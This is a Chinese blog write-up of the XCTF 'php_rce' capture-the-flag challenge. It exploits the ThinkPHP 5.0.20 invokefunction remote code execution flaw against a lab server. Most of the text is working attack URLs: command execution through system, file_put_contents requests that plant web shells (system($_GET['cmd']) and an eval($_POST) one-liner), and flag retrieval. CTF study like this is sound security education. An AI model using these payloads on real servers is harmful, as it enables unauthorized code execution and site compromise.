16、XCTF php_rce

原创

山兔1 于 2021-09-18 14:31:41 发布 28 收藏

分类专栏： CTF 文章标签： php

本文链接：https://blog.csdn.net/m0_53008479/article/details/120352207

一打开网站，发现是`thinkphp`的`cms`框架。

看题目，暗示的很明显了。

命令执行漏洞

上`dirsearch`,跑一下

```
200 -    1KB - /favicon.ico
200 -  931B  - /index.php
200 -   24B  - /robots.txt
301 -  328B  - /static  ->  http://111.200.241.244:63456/static/
```

跑出来了。去验证了一下，

```
User-agent: *
Disallow:
```

没发现什么有用的，

通过报错信息

```
http://111.200.241.244:63456/index.php/aaa
```

获取到版本号，

```
V5.0.20
```

`google`搜索一下，发现存在远程代码执行漏洞

开搞

```
http://111.200.241.244:63456/index.php?
s=index/\think\app/invokefunction&function=call_user_func_array
&vars[0]=phpinfo&vars[1][]=1
```

可以看到`phpinfo`，舒服了。

写马上去，成功就返回文件的大小。

```
http://111.200.241.244:63456/index.php?
s=index/think\app/invokefunction&function=
call_user_func_array&vars[0]=file_put_contents&vars[1][]
=test2.php&vars[1][]=
<?php highlight_file(__FILE__);system($_GET['cmd']);?>
```

返回了，`54`.
试着访问一下自己写的文件

```
http://111.200.241.244:63456/test2.php
```

还真可以
通过

```
http://111.200.241.244:63456/test2.php?cmd=ls
```

查一下文件名，可行。
查找`flag`文件

```
http://111.200.241.244:63456/test2.php?cmd=find / -name flag
```

真找到了，`/flag`
取出他的内容

```
http://111.200.241.244:63456/test2.php?cmd=cat /flag
```

`OK`，拿到`flag`。
在来一个方法

```
http://111.200.241.244:63456/index.php?
s=index/think\app/invokefunction&function=call_user_func_array
&vars[0]=system&vars[1][]=find / -name "flag*"
                          //通过system的方式来得到flag。单双引号都可以
```

```
http://111.200.241.244:63456/index.php?
s=index/think\app/invokefunction&function=call_user_func_array
&vars[0]=system&vars[1][]=cat /flag
                                                    //拿到flag了
```

再来一种

```
http://111.200.241.244:63456/index.php?
s=index/think\app/invokefunction&function=call_user_func_array
&vars[0]=file_put_contents&vars[1][]=test.php&vars[1][]=
<?php highlight_file(__FILE__);@eval($_POST[v]);?>
                                                      //直接上马
```

蚁剑一连，拿到`flag`。
基础知识：

```
file_put_contents            //输出文件内容的大小
```

```
http://111.200.241.244:63456/test2.php?
cmd=find / -name 'flag*'                //查找带有flag的关键字
```

`highlight_file()`函数对文件进行语法高亮显示：

语法：`highlight_file(filename,return)`，本函数通过使用`PHP`语法高亮程序中定义的颜色，输出或返回包含在`filename`中的代码的语法高亮版本。

返回值：如果`return`参数被设置为`true`，那么该函数会返回被高亮处理的代码，而不是输出它们。否则，若成功，则返回`true`，失败则返回`false`。
`highlight_file()`函数可以让一句话木马生效，可以执行。